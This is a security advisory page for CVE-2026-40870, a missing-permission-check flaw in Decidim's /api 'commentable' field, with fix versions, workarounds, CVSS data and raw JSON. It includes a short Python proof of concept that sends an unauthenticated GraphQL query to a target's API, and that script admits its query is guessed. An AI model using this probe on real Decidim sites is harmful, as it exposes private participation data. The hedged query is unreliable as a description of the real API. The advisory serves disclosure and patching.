Security Vulnerability Report
中文
CVE-2026-40870 CVSS 7.5 HIGH

CVE-2026-40870

Published: 2026-04-21 20:17:00
Last Modified: 2026-04-22 21:08:49

Description

Decidim is a participatory democracy framework. Starting in version 0.0.1 and prior to versions 0.30.5 and 0.31.1, the root level `commentable` field in the API allows access to all commentable resources within the platform, without any permission checks. All Decidim instances are impacted that have not secured the `/api` endpoint. The `/api` endpoint is publicly available with the default configuration. Versions 0.30.5 and 0.31.1 fix the issue. As a workaround, limit the scope to only authenticated users by limiting access to the `/api` endpoint. This would require custom code or installing the 3rd party module `Decidim::Apiauth`. With custom code, the `/api` endpoint can be limited to only authenticated users. The same configuration can be also used without the `allow` statements to disable all traffic to the the `/api` endpoint. When considering a workaround and the seriousness of the vulnerability, please consider the nature of the platform. If the platform is primarily serving public data, this vulnerability is not serious by its nature. If the platform is protecting some resources, e.g. inside private participation spaces, the vulnerability may expose some data to the attacker that is not meant public. For those who have enabled the organization setting "Force users to authenticate before access organization", the scope of this vulnerability is limited to the users who are allowed to log in to the Decidim platform. This setting was introduced in version 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Decidim 0.0.1 - 0.30.4
Decidim 0.31.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-40870: Unauthenticated access to commentable resources via API. """ # The vulnerability exists in the /api endpoint. # We attempt to access resources without providing an Authorization header. api_endpoint = f"{target_url.rstrip('/')}/api" # Example payload attempting to query the 'commentable' field or comments # Note: Exact API structure depends on Decidim configuration, but the lack of auth is the key. params = { "query": "query { commentable { id } }" # GraphQL example often used in Decidim, or REST endpoint } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: # Sending request without authentication (PR:N) response = requests.get(api_endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected!") print(f"[+] Response received from {api_endpoint} without authentication.") print(f"[+] Response Data (Snippet): {response.text[:200]}") else: print(f"[-] Endpoint returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual Decidim instance URL check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40870", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:00.367", "lastModified": "2026-04-22T21:08:48.550", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Decidim is a participatory democracy framework. Starting in version 0.0.1 and prior to versions 0.30.5 and 0.31.1, the root level `commentable` field in the API allows access to all commentable resources within the platform, without any permission checks. All Decidim instances are impacted that have not secured the `/api` endpoint. The `/api` endpoint is publicly available with the default configuration. Versions 0.30.5 and 0.31.1 fix the issue. As a workaround, limit the scope to only authenticated users by limiting access to the `/api` endpoint. This would require custom code or installing the 3rd party module `Decidim::Apiauth`. With custom code, the `/api` endpoint can be limited to only authenticated users. The same configuration can be also used without the `allow` statements to disable all traffic to the the `/api` endpoint. When considering a workaround and the seriousness of the vulnerability, please consider the nature of the platform. If the platform is primarily serving public data, this vulnerability is not serious by its nature. If the platform is protecting some resources, e.g. inside private participation spaces, the vulnerability may expose some data to the attacker that is not meant public. For those who have enabled the organization setting \"Force users to authenticate before access organization\", the scope of this vulnerability is limited to the users who are allowed to log in to the Decidim platform. This setting was introduced in version 0.19.0 and it was applied to the `/api` endpoint in version 0.22.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/decidim/decidim/security/advisories/GHSA-ghmh-q25g-gxxx", "source": "[email protected]"}]}}